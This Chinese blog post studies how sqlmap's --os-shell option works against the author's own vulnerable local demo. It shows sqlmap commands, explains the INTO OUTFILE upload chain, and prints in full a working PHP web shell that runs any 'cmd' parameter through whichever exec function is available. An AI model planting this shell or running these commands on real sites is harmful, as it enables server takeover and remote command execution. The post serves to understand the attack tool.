最近也是在看sqlmap,感觉--os-shell这个命令确实很厉害,但我并不知道它的原理,所以来研究一下
环境
环境就是我本地搭的一个有sql注入漏洞的一个小demo
演示
这是我们的demo环境
http://10.0.173.136/SqlNum/SqlNum.php
用sqlmap跑一下
python2 sqlmap.py -r 11.9.txt
发现确实有注入
试试--os-shell命令
python2 sqlmap.py -r 11.9.txt --os-shell
选择语言,sqlmap默认为php,此处根据需求选择
输入绝对路径
建立os-shell然后命令执行
原理研究
原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来
tmpbezal.php代码如下:
1 <?php 2 $c=$_REQUEST["cmd"]; 3 @set_time_limit(0); 4 @ignore_user_abort(1); 5 @ini_set('max_execution_time',0); 6 $z=@ini_get('disable_functions'); 7 if(!empty($z)) 8 { 9 $z=preg_replace('/[, ]+/',',',$z); 10 $z=explode(',',$z); 11 $z=array_map('trim',$z);} 12 else
13 { 14 $z=array(); 15 } 16 $c=$c." 2>&1\n"; 17 function f($n) 18 {global $z; 19 return is_callable($n)and!in_array($n,$z); 20 } 21 if(f('system')) 22 {ob_start(); 23 system($c); 24 $w=ob_get_contents(); 25 ob_end_clean(); 26 }elseif(f('proc_open')){ 27 $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); 28 $w=NULL; 29 while(!feof($t[1])){ 30 $w.=fread($t[1],512); 31 } 32 @proc_close($y); 33 } 34 elseif(f('shell_exec')){ 35 $w=shell_exec($c); 36 } 37 elseif(f('passthru')){ 38 ob_start(); 39 passthru($c); 40 $w=ob_get_contents(); 41 ob_end_clean(); 42 }elseif(f('popen')){ 43 $x=popen($c,r); 44 $w=NULL; 45 if(is_resource($x)){ 46 while(!feof($x)){ 47 $w.=fread($x,512); 48 } 49 } 50 @pclose($x); 51 }elseif(f('exec')){ 52 $w=array(); 53 exec($c,$w); 54 $w=join(chr(10),$w).chr(10); 55 }else{ 56 $w=0; 57 } 58 print "</pre>".$w."</pre>";?>'''
上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
因此我们可以在os-shell中执行命令。
os-shell的使用条件
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
参考:
https://blog.csdn.net/whatday/article/details/102802273